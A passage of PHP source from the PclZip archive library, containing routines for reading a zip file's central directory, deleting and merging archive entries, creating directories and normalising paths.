        // ----- Check the static values
        // TBC
        if ($p_local_header['filename'] != $p_central_header['filename']) {
        }
        if ($p_local_header['version_extracted'] != $p_central_header['version_extracted']) {
        }
        if ($p_local_header['flag'] != $p_central_header['flag']) {
        }
        if ($p_local_header['compression'] != $p_central_header['compression']) {
        }
        if ($p_local_header['mtime'] != $p_central_header['mtime']) {
        }
        if ($p_local_header['filename_len'] != $p_central_header['filename_len']) {
        }

        // ----- Look for flag bit 3
        if (($p_local_header['flag'] & 8) == 8) {
            $p_local_header['size']            = $p_central_header['size'];
            $p_local_header['compressed_size'] = $p_central_header['compressed_size'];
            $p_local_header['crc']             = $p_central_header['crc'];
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privReadEndCentralDir()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privReadEndCentralDir(&$p_central_dir)
    {
        $v_result = 1;

        // ----- Go to the end of the zip file
        $v_size = filesize($this->zipname);
        @fseek($this->zip_fd, $v_size);
        if (@ftell($this->zip_fd) != $v_size) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to go to the end of the archive \'' . $this->zipname . '\'');

            // ----- Return
            return PclZip::errorCode();
        }

        // ----- First try : look if this is an archive with no commentaries (most of the time)
        // in this case the end of central dir is at 22 bytes of the file end
        $v_found = 0;
        if ($v_size > 26) {
            @fseek($this->zip_fd, $v_size - 22);
            if (($v_pos = @ftell($this->zip_fd)) != ($v_size - 22)) {
                // ----- Error log
                PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \'' . $this->zipname . '\'');

                // ----- Return
                return PclZip::errorCode();
            }

            // ----- Read for bytes
            $v_binary_data = @fread($this->zip_fd, 4);
            $v_data        = @unpack('Vid', $v_binary_data);

            // ----- Check signature
            if ($v_data['id'] == 0x06054b50) {
                $v_found = 1;
            }

            $v_pos = ftell($this->zip_fd);
        }

        // ----- Go back to the maximum possible size of the Central Dir End Record
        if (!$v_found) {
            $v_maximum_size = 65557; // 0xFFFF + 22;
            if ($v_maximum_size > $v_size) {
                $v_maximum_size = $v_size;
            }
            @fseek($this->zip_fd, $v_size - $v_maximum_size);
            if (@ftell($this->zip_fd) != ($v_size - $v_maximum_size)) {
                // ----- Error log
                PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \'' . $this->zipname . '\'');

                // ----- Return
                return PclZip::errorCode();
            }

            // ----- Read byte per byte in order to find the signature
            $v_pos   = ftell($this->zip_fd);
            $v_bytes = 0x00000000;
            while ($v_pos < $v_size) {
                // ----- Read a byte
                $v_byte = @fread($this->zip_fd, 1);

                // -----  Add the byte
                //$v_bytes = ($v_bytes << 8) | Ord($v_byte);
                // Note we mask the old value down such that once shifted we can never end up with more than a 32bit number
                // Otherwise on systems where we have 64bit integers the check below for the magic number will fail.
                $v_bytes = (($v_bytes & 0xFFFFFF) << 8) | ord($v_byte);

                // ----- Compare the bytes
                if ($v_bytes == 0x504b0506) {
                    $v_pos++;
                    break;
                }

                $v_pos++;
            }

            // ----- Look if not found end of central dir
            if ($v_pos == $v_size) {

                // ----- Error log
                PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Unable to find End of Central Dir Record signature");

                // ----- Return
                return PclZip::errorCode();
            }
        }

        // ----- Read the first 18 bytes of the header
        $v_binary_data = fread($this->zip_fd, 18);

        // ----- Look for invalid block size
        if (strlen($v_binary_data) != 18) {

            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid End of Central Dir Record size : " . strlen($v_binary_data));

            // ----- Return
            return PclZip::errorCode();
        }

        // ----- Extract the values
        $v_data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', $v_binary_data);

        // ----- Check the global size
        if (($v_pos + $v_data['comment_size'] + 18) != $v_size) {

            // ----- Removed in release 2.2 see readme file
            // The check of the file size is a little too strict.
            // Some bugs where found when a zip is encrypted/decrypted with 'crypt'.
            // While decrypted, zip has training 0 bytes
            if (0) {
                // ----- Error log
                PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'The central dir is not at the end of the archive.' . ' Some trailing bytes exists after the archive.');

                // ----- Return
                return PclZip::errorCode();
            }
        }

        // ----- Get comment
        if ($v_data['comment_size'] != 0) {
            $p_central_dir['comment'] = fread($this->zip_fd, $v_data['comment_size']);
        } else {
            $p_central_dir['comment'] = '';
        }

        $p_central_dir['entries']      = $v_data['entries'];
        $p_central_dir['disk_entries'] = $v_data['disk_entries'];
        $p_central_dir['offset']       = $v_data['offset'];
        $p_central_dir['size']         = $v_data['size'];
        $p_central_dir['disk']         = $v_data['disk'];
        $p_central_dir['disk_start']   = $v_data['disk_start'];

        // TBC
        //for (reset($p_central_dir); $key = key($p_central_dir); next($p_central_dir)) {
        //}

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privDeleteByRule()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privDeleteByRule(&$p_result_list, &$p_options)
    {
        $v_result      = 1;
        $v_list_detail = array();

        // ----- Open the zip file
        if (($v_result = $this->privOpenFd('rb')) != 1) {
            // ----- Return
            return $v_result;
        }

        // ----- Read the central directory informations
        $v_central_dir = array();
        if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) {
            $this->privCloseFd();

            return $v_result;
        }

        // ----- Go to beginning of File
        @rewind($this->zip_fd);

        // ----- Scan all the files
        // ----- Start at beginning of Central Dir
        $v_pos_entry = $v_central_dir['offset'];
        @rewind($this->zip_fd);
        if (@fseek($this->zip_fd, $v_pos_entry)) {
            // ----- Close the zip file
            $this->privCloseFd();

            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

            // ----- Return
            return PclZip::errorCode();
        }

        // ----- Read each entry
        $v_header_list = array();
        $j_start       = 0;
        for ($i = 0, $v_nb_extracted = 0; $i < $v_central_dir['entries']; $i++) {

            // ----- Read the file header
            $v_header_list[$v_nb_extracted] = array();
            if (($v_result = $this->privReadCentralFileHeader($v_header_list[$v_nb_extracted])) != 1) {
                // ----- Close the zip file
                $this->privCloseFd();

                return $v_result;
            }

            // ----- Store the index
            $v_header_list[$v_nb_extracted]['index'] = $i;

            // ----- Look for the specific extract rules
            $v_found = false;

            // ----- Look for extract by name rule
            if ((isset($p_options[PCLZIP_OPT_BY_NAME])) && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {

                // ----- Look if the filename is in the list
                for ($j = 0; ($j < sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_found); $j++) {

                    // ----- Look for a directory
                    if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {

                        // ----- Look if the directory is in the filename path
                        if ((strlen($v_header_list[$v_nb_extracted]['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) && (substr($v_header_list[$v_nb_extracted]['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
                            $v_found = true;
                        } elseif ((($v_header_list[$v_nb_extracted]['external'] & 0x00000010) == 0x00000010) /* Indicates a folder */ && ($v_header_list[$v_nb_extracted]['stored_filename'] . '/' == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
                            $v_found = true;
                        }

                    // ----- Look for a filename
                    } elseif ($v_header_list[$v_nb_extracted]['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
                        $v_found = true;
                    }
                }

            // ----- Look for extract by preg rule
            } elseif ((isset($p_options[PCLZIP_OPT_BY_PREG])) && ($p_options[PCLZIP_OPT_BY_PREG] != "")) {

                if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header_list[$v_nb_extracted]['stored_filename'])) {
                    $v_found = true;
                }

            // ----- Look for extract by index rule
            } elseif ((isset($p_options[PCLZIP_OPT_BY_INDEX])) && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {

                // ----- Look if the index is in the list
                for ($j = $j_start; ($j < sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_found); $j++) {

                    if (($i >= $p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i <= $p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
                        $v_found = true;
                    }
                    if ($i >= $p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
                        $j_start = $j + 1;
                    }

                    if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start'] > $i) {
                        break;
                    }
                }
            } else {
                $v_found = true;
            }

            // ----- Look for deletion
            if ($v_found) {
                unset($v_header_list[$v_nb_extracted]);
            } else {
                $v_nb_extracted++;
            }
        }

        // ----- Look if something need to be deleted
        if ($v_nb_extracted > 0) {

            // ----- Creates a temporay file
            $v_zip_temp_name = PCLZIP_TEMPORARY_DIR . uniqid('pclzip-') . '.tmp';

            // ----- Creates a temporary zip archive
            $v_temp_zip = new PclZip($v_zip_temp_name);

            // ----- Open the temporary zip file in write mode
            if (($v_result = $v_temp_zip->privOpenFd('wb')) != 1) {
                $this->privCloseFd();

                // ----- Return
                return $v_result;
            }

            // ----- Look which file need to be kept
            for ($i = 0; $i < sizeof($v_header_list); $i++) {

                // ----- Calculate the position of the header
                @rewind($this->zip_fd);
                if (@fseek($this->zip_fd, $v_header_list[$i]['offset'])) {
                    // ----- Close the zip file
                    $this->privCloseFd();
                    $v_temp_zip->privCloseFd();
                    @unlink($v_zip_temp_name);

                    // ----- Error log
                    PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

                    // ----- Return
                    return PclZip::errorCode();
                }

                // ----- Read the file header
                $v_local_header = array();
                if (($v_result = $this->privReadFileHeader($v_local_header)) != 1) {
                    // ----- Close the zip file
                    $this->privCloseFd();
                    $v_temp_zip->privCloseFd();
                    @unlink($v_zip_temp_name);

                    // ----- Return
                    return $v_result;
                }

                // ----- Check that local file header is same as central file header
                if ($this->privCheckFileHeaders($v_local_header, $v_header_list[$i]) != 1) {
                    // TBC
                }
                unset($v_local_header);

                // ----- Write the file header
                if (($v_result = $v_temp_zip->privWriteFileHeader($v_header_list[$i])) != 1) {
                    // ----- Close the zip file
                    $this->privCloseFd();
                    $v_temp_zip->privCloseFd();
                    @unlink($v_zip_temp_name);

                    // ----- Return
                    return $v_result;
                }

                // ----- Read/write the data block
                if (($v_result = PclZipUtilCopyBlock($this->zip_fd, $v_temp_zip->zip_fd, $v_header_list[$i]['compressed_size'])) != 1) {
                    // ----- Close the zip file
                    $this->privCloseFd();
                    $v_temp_zip->privCloseFd();
                    @unlink($v_zip_temp_name);

                    // ----- Return
                    return $v_result;
                }
            }

            // ----- Store the offset of the central dir
            $v_offset = @ftell($v_temp_zip->zip_fd);

            // ----- Re-Create the Central Dir files header
            for ($i = 0; $i < sizeof($v_header_list); $i++) {
                // ----- Create the file header
                if (($v_result = $v_temp_zip->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
                    $v_temp_zip->privCloseFd();
                    $this->privCloseFd();
                    @unlink($v_zip_temp_name);

                    // ----- Return
                    return $v_result;
                }

                // ----- Transform the header to a 'usable' info
                $v_temp_zip->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
            }

            // ----- Zip file comment
            $v_comment = '';
            if (isset($p_options[PCLZIP_OPT_COMMENT])) {
                $v_comment = $p_options[PCLZIP_OPT_COMMENT];
            }

            // ----- Calculate the size of the central header
            $v_size = @ftell($v_temp_zip->zip_fd) - $v_offset;

            // ----- Create the central dir footer
            if (($v_result = $v_temp_zip->privWriteCentralHeader(sizeof($v_header_list), $v_size, $v_offset, $v_comment)) != 1) {
                // ----- Reset the file list
                unset($v_header_list);
                $v_temp_zip->privCloseFd();
                $this->privCloseFd();
                @unlink($v_zip_temp_name);

                // ----- Return
                return $v_result;
            }

            // ----- Close
            $v_temp_zip->privCloseFd();
            $this->privCloseFd();

            // ----- Delete the zip file
            // TBC : I should test the result ...
            @unlink($this->zipname);

            // ----- Rename the temporary file
            // TBC : I should test the result ...
            //@rename($v_zip_temp_name, $this->zipname);
            PclZipUtilRename($v_zip_temp_name, $this->zipname);

            // ----- Destroy the temporary archive
            unset($v_temp_zip);

        // ----- Remove every files : reset the file
        } elseif ($v_central_dir['entries'] != 0) {
            $this->privCloseFd();

            if (($v_result = $this->privOpenFd('wb')) != 1) {
                return $v_result;
            }

            if (($v_result = $this->privWriteCentralHeader(0, 0, 0, '')) != 1) {
                return $v_result;
            }

            $this->privCloseFd();
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privDirCheck()
    // Description :
    //   Check if a directory exists, if not it creates it and all the parents directory
    //   which may be useful.
    // Parameters :
    //   $p_dir : Directory path to check.
    // Return Values :
    //    1 : OK
    //   -1 : Unable to create directory
    // --------------------------------------------------------------------------------
    public function privDirCheck($p_dir, $p_is_dir = false)
    {
        $v_result = 1;

        // ----- Remove the final '/'
        if (($p_is_dir) && (substr($p_dir, -1) == '/')) {
            $p_dir = substr($p_dir, 0, strlen($p_dir) - 1);
        }

        // ----- Check the directory availability
        if ((is_dir($p_dir)) || ($p_dir == "")) {
            return 1;
        }

        // ----- Extract parent directory
        $p_parent_dir = dirname($p_dir);

        // ----- Just a check
        if ($p_parent_dir != $p_dir) {
            // ----- Look for parent directory
            if ($p_parent_dir != "") {
                if (($v_result = $this->privDirCheck($p_parent_dir)) != 1) {
                    return $v_result;
                }
            }
        }

        // ----- Create the directory
        if (!@mkdir($p_dir, 0777)) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, "Unable to create directory '$p_dir'");

            // ----- Return
            return PclZip::errorCode();
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privMerge()
    // Description :
    //   If $p_archive_to_add does not exist, the function exit with a success result.
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privMerge(&$p_archive_to_add)
    {
        $v_result = 1;

        // ----- Look if the archive_to_add exists
        if (!is_file($p_archive_to_add->zipname)) {

            // ----- Nothing to merge, so merge is a success
            $v_result = 1;

            // ----- Return
            return $v_result;
        }

        // ----- Look if the archive exists
        if (!is_file($this->zipname)) {

            // ----- Do a duplicate
            $v_result = $this->privDuplicate($p_archive_to_add->zipname);

            // ----- Return
            return $v_result;
        }

        // ----- Open the zip file
        if (($v_result = $this->privOpenFd('rb')) != 1) {
            // ----- Return
            return $v_result;
        }

        // ----- Read the central directory informations
        $v_central_dir = array();
        if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) {
            $this->privCloseFd();

            return $v_result;
        }

        // ----- Go to beginning of File
        @rewind($this->zip_fd);

        // ----- Open the archive_to_add file
        if (($v_result = $p_archive_to_add->privOpenFd('rb')) != 1) {
            $this->privCloseFd();

            // ----- Return
            return $v_result;
        }

        // ----- Read the central directory informations
        $v_central_dir_to_add = array();
        if (($v_result = $p_archive_to_add->privReadEndCentralDir($v_central_dir_to_add)) != 1) {
            $this->privCloseFd();
            $p_archive_to_add->privCloseFd();

            return $v_result;
        }

        // ----- Go to beginning of File
        @rewind($p_archive_to_add->zip_fd);

        // ----- Creates a temporay file
        $v_zip_temp_name = PCLZIP_TEMPORARY_DIR . uniqid('pclzip-') . '.tmp';

        // ----- Open the temporary file in write mode
        if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0) {
            $this->privCloseFd();
            $p_archive_to_add->privCloseFd();

            PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \'' . $v_zip_temp_name . '\' in binary write mode');

            // ----- Return
            return PclZip::errorCode();
        }

        // ----- Copy the files from the archive to the temporary file
        // TBC : Here I should better append the file and go back to erase the central dir
        $v_size = $v_central_dir['offset'];
        while ($v_size != 0) {
            $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
            $v_buffer    = fread($this->zip_fd, $v_read_size);
            @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
            $v_size -= $v_read_size;
        }

        // ----- Copy the files from the archive_to_add into the temporary file
        $v_size = $v_central_dir_to_add['offset'];
        while ($v_size != 0) {
            $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
            $v_buffer    = fread($p_archive_to_add->zip_fd, $v_read_size);
            @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
            $v_size -= $v_read_size;
        }

        // ----- Store the offset of the central dir
        $v_offset = @ftell($v_zip_temp_fd);

        // ----- Copy the block of file headers from the old archive
        $v_size = $v_central_dir['size'];
        while ($v_size != 0) {
            $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
            $v_buffer    = @fread($this->zip_fd, $v_read_size);
            @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
            $v_size -= $v_read_size;
        }

        // ----- Copy the block of file headers from the archive_to_add
        $v_size = $v_central_dir_to_add['size'];
        while ($v_size != 0) {
            $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
            $v_buffer    = @fread($p_archive_to_add->zip_fd, $v_read_size);
            @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
            $v_size -= $v_read_size;
        }

        // ----- Merge the file comments
        $v_comment = $v_central_dir['comment'] . ' ' . $v_central_dir_to_add['comment'];

        // ----- Calculate the size of the (new) central header
        $v_size = @ftell($v_zip_temp_fd) - $v_offset;

        // ----- Swap the file descriptor
        // Here is a trick : I swap the temporary fd with the zip fd, in order to use
        // the following methods on the temporary fil and not the real archive fd
        $v_swap        = $this->zip_fd;
        $this->zip_fd  = $v_zip_temp_fd;
        $v_zip_temp_fd = $v_swap;

        // ----- Create the central dir footer
        if (($v_result = $this->privWriteCentralHeader($v_central_dir['entries'] + $v_central_dir_to_add['entries'], $v_size, $v_offset, $v_comment)) != 1) {
            $this->privCloseFd();
            $p_archive_to_add->privCloseFd();
            @fclose($v_zip_temp_fd);
            $this->zip_fd = null;

            // ----- Reset the file list
            unset($v_header_list);

            // ----- Return
            return $v_result;
        }

        // ----- Swap back the file descriptor
        $v_swap        = $this->zip_fd;
        $this->zip_fd  = $v_zip_temp_fd;
        $v_zip_temp_fd = $v_swap;

        // ----- Close
        $this->privCloseFd();
        $p_archive_to_add->privCloseFd();

        // ----- Close the temporary file
        @fclose($v_zip_temp_fd);

        // ----- Delete the zip file
        // TBC : I should test the result ...
        @unlink($this->zipname);

        // ----- Rename the temporary file
        // TBC : I should test the result ...
        //@rename($v_zip_temp_name, $this->zipname);
        PclZipUtilRename($v_zip_temp_name, $this->zipname);

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privDuplicate()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privDuplicate($p_archive_filename)
    {
        $v_result = 1;

        // ----- Look if the $p_archive_filename exists
        if (!is_file($p_archive_filename)) {

            // ----- Nothing to duplicate, so duplicate is a success.
            $v_result = 1;

            // ----- Return
            return $v_result;
        }

        // ----- Open the zip file
        if (($v_result = $this->privOpenFd('wb')) != 1) {
            // ----- Return
            return $v_result;
        }

        // ----- Open the temporary file in write mode
        if (($v_zip_temp_fd = @fopen($p_archive_filename, 'rb')) == 0) {
            $this->privCloseFd();

            PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive file \'' . $p_archive_filename . '\' in binary write mode');

            // ----- Return
            return PclZip::errorCode();
        }

        // ----- Copy the files from the archive to the temporary file
        // TBC : Here I should better append the file and go back to erase the central dir
        $v_size = filesize($p_archive_filename);
        while ($v_size != 0) {
            $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
            $v_buffer    = fread($v_zip_temp_fd, $v_read_size);
            @fwrite($this->zip_fd, $v_buffer, $v_read_size);
            $v_size -= $v_read_size;
        }

        // ----- Close
        $this->privCloseFd();

        // ----- Close the temporary file
        @fclose($v_zip_temp_fd);

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privErrorLog()
    // Description :
    // Parameters :
    // --------------------------------------------------------------------------------
    public function privErrorLog($p_error_code = 0, $p_error_string = '')
    {
        if (PCLZIP_ERROR_EXTERNAL == 1) {
            PclError($p_error_code, $p_error_string);
        } else {
            $this->error_code   = $p_error_code;
            $this->error_string = $p_error_string;
        }
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privErrorReset()
    // Description :
    // Parameters :
    // --------------------------------------------------------------------------------
    public function privErrorReset()
    {
        if (PCLZIP_ERROR_EXTERNAL == 1) {
            PclErrorReset();
        } else {
            $this->error_code   = 0;
            $this->error_string = '';
        }
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privDisableMagicQuotes()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privDisableMagicQuotes()
    {
        $v_result = 1;

        // ----- Look if function exists
        if ((!function_exists("get_magic_quotes_runtime")) || (!function_exists("set_magic_quotes_runtime"))) {
            return $v_result;
        }

        // ----- Look if already done
        if ($this->magic_quotes_status != -1) {
            return $v_result;
        }

        // ----- Get and memorize the magic_quote value
        $this->magic_quotes_status = @get_magic_quotes_runtime();

        // ----- Disable magic_quotes
        if ($this->magic_quotes_status == 1) {
            @set_magic_quotes_runtime(0);
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------

    // --------------------------------------------------------------------------------
    // Function : privSwapBackMagicQuotes()
    // Description :
    // Parameters :
    // Return Values :
    // --------------------------------------------------------------------------------
    public function privSwapBackMagicQuotes()
    {
        $v_result = 1;

        // ----- Look if function exists
        if ((!function_exists("get_magic_quotes_runtime")) || (!function_exists("set_magic_quotes_runtime"))) {
            return $v_result;
        }

        // ----- Look if something to do
        if ($this->magic_quotes_status != -1) {
            return $v_result;
        }

        // ----- Swap back magic_quotes
        if ($this->magic_quotes_status == 1) {
            @set_magic_quotes_runtime($this->magic_quotes_status);
        }

        // ----- Return
        return $v_result;
    }
    // --------------------------------------------------------------------------------
}

// End of class
// --------------------------------------------------------------------------------

// --------------------------------------------------------------------------------
// Function : PclZipUtilPathReduction()
// Description :
// Parameters :
// Return Values :
// --------------------------------------------------------------------------------
function PclZipUtilPathReduction($p_dir)
{
    $v_result = "";

    // ----- Look for not empty path
    if ($p_dir != "") {
        // ----- Explode path by directory names
        $v_list = explode("/", $p_dir);

        // ----- Study directories from last to first
        $v_skip = 0;
        for ($i = sizeof($v_list) - 1; $i >= 0; $i--) {
            // ----- Look for current path
            if ($v_list[$i] == ".") {
                // ----- Ignore this directory
                // Should be the first $i=0, but no check is done
            } elseif ($v_list[$i] == "..") {
                $v_skip++;
            } elseif ($v_list[$i] == "") {
                // ----- First '/' i.e. root slash
                if ($i == 0) {
                    $v_result = "/" . $v_result;
                    if ($v_skip > 0) {
                        // ----- It is an invalid path, so the path is not modified
                        // TBC
                        $v_result = $p_dir;
                        $v_skip   = 0;
                    }

                // ----- Last '/' i.e. indicates a directory
                } elseif ($i == (sizeof($v_list) - 1)) {
                    $v_result = $v_list[$i];

                // ----- Double '/' inside the path
                } else {
                    // ----- Ignore only the double '//' in path,
                    // but not the first and last '/'
                }
            } else {
                // ----- Look for item to skip
                if ($v_skip > 0) {
                    $v_skip--;
                } else {
                    $v_result = $v_list[$i] . ($i != (sizeof($v_list) - 1) ? "/" . $v_result : "");
                }
            }
        }

        // ----- Look for skip
        if ($v_skip > 0) {
            while ($v_skip > 0) {
                $v_result = '../' . $v_result;
                $v_skip--;
            }
        }
    }

    // ----- Return
    return $v_result;
}
// --------------------------------------------------------------------------------

// --------------------------------------------------------------------------------
// Function : PclZipUtilPathInclusion()
// Description :
//   This function indicates if the path $p_path is under the $p_dir tree. Or,
//   said in an other way, if the file or sub-dir $p_path is inside the dir
//   $p_dir.
//   The function indicates also if the path is exactly the same as the dir.
//   This function supports path with duplicated '/' like '//', but does not
//   support '.' or '..' statements.
// Parameters :
// Return Values :
//   0 if $p_path is not inside directory $p_dir
//   1 if $p_path is inside directory $p_dir
//   2 if $p_path is exactly the same as $p_dir
// --------------------------------------------------------------------------------
function PclZipUtilPathInclusion($p_dir, $p_path)
{
    $v_result = 1;

    // ----- Look for path beginning by ./
    if (($p_dir == '.') || ((strlen($p_dir) >= 2) && (substr($p_dir, 0, 2) == './'))) {
        $p_dir = PclZipUtilTranslateWinPath(getcwd(), false) . '/' . substr($p_dir, 1);
    }
    if (($p_path == '.') || ((strlen($p_path) >= 2) && (substr($p_path, 0, 2) == './'))) {
        $p_path = PclZipUtilTranslateWinPath(getcwd(), false) . '/' . substr($p_path, 1);
    }

    // ----- Explode dir and path by directory separator
    $v_list_dir       = explode("/", $p_dir);
    $v_list_dir_size  = sizeof($v_list_dir);
    $v_list_path      = explode("/", $p_path);
    $v_list_path_size = sizeof($v_list_path);

    // ----- Study directories paths
    $i = 0;
    $j = 0;
    while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result)) {

        // ----- Look for empty dir (path reduction)
        if ($v_list_dir[$i] == '') {
            $i++;
            continue;
        }
        if ($v_list_path[$j] == '') {
            $j++;
            continue;
        }

        // ----- Compare the items
        if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != '') && ($v_list_path[$j] != '')) {
            $v_result = 0;
        }

        // ----- Next items
        $i++;
        $j++;
    }

    // ----- Look if everything seems to be the same
    if ($v_result) {
        // ----- Skip all the empty items
        while (($j < $v_list_path_size) && ($v_list_path[$j] == '')) {
            $j++;
        }
        while (($i < $v_list_dir_size) && ($v_list_dir[$i] == '')) {
            $i++;
        }

        if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size)) {
            // ----- There are exactly the same
            $v_result = 2;
        } elseif ($i < $v_list_dir_size) {
            // ----- The path is shorter than the dir
            $v_result = 0;
        }
    }

    // ----- Return
    return $v_result;
}
// --------------------------------------------------------------------------------

// --------------------------------------------------------------------------------
// Function : PclZipUtilCopyBlock()
// Description :
// Parameters :
//   $p_mode : read/write compression mode
//             0 : src & dest normal
//             1 : src gzip, dest normal
//             2 : src normal, dest gzip
//             3 : src & dest gzip
// Return Values :
// --------------------------------------------------------------------------------
function PclZipUtilCopyBlock($p_src, $p_dest, $p_size, $p_mode = 0)
{
    $v_result = 1;

    if ($p_mode == 0) {
        while ($p_size != 0) {
            $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
            $v_buffer    = @fread($p_src, $v_read_size);
            @fwrite($p_dest, $v_buffer, $v_read_size);
            $p_size -= $v_read_size;
        }
    } elseif ($p_mode == 1) {
        while ($p_size != 0) {
            $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
            $v_buffer    = @gzread($p_src, $v_read_size);
            @fwrite($p_dest, $v_buffer, $v_read_size);
            $p_size -= $v_read_size;
        }
    } elseif ($p_mode == 2) {
        while ($p_size != 0) {
            $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
            $v_buffer    = @fread($p_src, $v_read_size);
            @gzwrite($p_dest, $v_buffer, $v_read_size);
            $p_size -= $v_read_size;
        }
    } elseif ($p_mode == 3) {
        while ($p_size != 0) {
            $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
            $v_buffer    = @gzread($p_src, $v_read_size);
            @gzwrite($p_dest, $v_buffer, $v_read_size);
            $p_size -= $v_read_size;
        }
    }

    // ----- Return
    return $v_result;
}
// --------------------------------------------------------------------------------

// --------------------------------------------------------------------------------
// Function : PclZipUtilRename()
// Description :
//   This function tries to do a simple rename() function. If it fails, it
//   tries to copy the $p_src file in a new $p_dest file and then unlink the
//   first one.
// Parameters :
//   $p_src : Old filename
//   $p_dest : New filename
// Return Values :
//   1 on success, 0 on failure.
// --------------------------------------------------------------------------------
function PclZipUtilRename($p_src, $p_dest)
{
    $v_result = 1;

    // ----- Try to rename the files
    if (!@rename($p_src, $p_dest)) {

        // ----- Try to copy & unlink the src
        if (!@copy($p_src, $p_dest)) {
            $v_result = 0;
        } elseif (!@unlink($p_src)) {
            $v_result = 0;
        }
    }

    // ----- Return
    return $v_result;
}
// --------------------------------------------------------------------------------

// --------------------------------------------------------------------------------
// Function : PclZipUtilOptionText()
// Description :
//   Translate option value in text. Mainly for debug purpose.
// Parameters :
//   $p_option : the option value.
// Return Values :
//   The option text value.
// --------------------------------------------------------------------------------
function PclZipUtilOptionText($p_option)
{

    $v_list = get_defined_constants();
    for (reset($v_list); $v_key = key($v_list); next($v_list)) {
        $v_prefix = substr($v_key, 0, 10);
        if ((($v_prefix == 'PCLZIP_OPT') || ($v_prefix == 'PCLZIP_CB_') || ($v_prefix == 'PCLZIP_ATT')) && ($v_list[$v_key] == $p_option)) {
            return $v_key;
        }
    }

    $v_result = 'Unknown';

    return $v_result;
}
// --------------------------------------------------------------------------------

// --------------------------------------------------------------------------------
// Function : PclZipUtilTranslateWinPath()
